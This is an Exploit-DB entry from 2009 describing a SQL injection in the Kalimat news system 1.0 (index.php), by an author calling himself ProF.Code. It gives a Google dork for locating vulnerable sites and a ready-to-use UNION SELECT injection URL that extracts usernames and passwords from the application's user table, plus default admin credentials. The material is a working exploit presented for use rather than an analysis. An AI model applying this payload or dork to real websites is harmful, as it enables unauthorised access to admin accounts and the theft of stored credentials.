kalimat new system 1.0 - index.php SQL Injection

2009-11-16T00:00:00
ID EDB-ID:11563
Type exploitdb
Reporter ProF.Code
Modified 2009-11-16T00:00:00

Description

kalimat new system v 1.0 (index.php) SQL Injection. Webapps exploit for php platform

                                        
                                            =====================================
| kalimat v 1.0 admin by pass (index.php)
=====================================
Author: ProF.Code
Email :adt@hotmail.com
=====================================
~~~~~~~~~~~~~~~~~~~~
dork(google) : intext:"Kalimat news system v 1.0"
~~~~~~~~~~~~~~~~~~~~
demo: http://server/kalimat/index.php?main=nc&id=12%20and%201=0%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,concat%28ur,0x3a,ps%29,11,12,13,14,15%20from+user
user : admin
pass : pass
=============================================================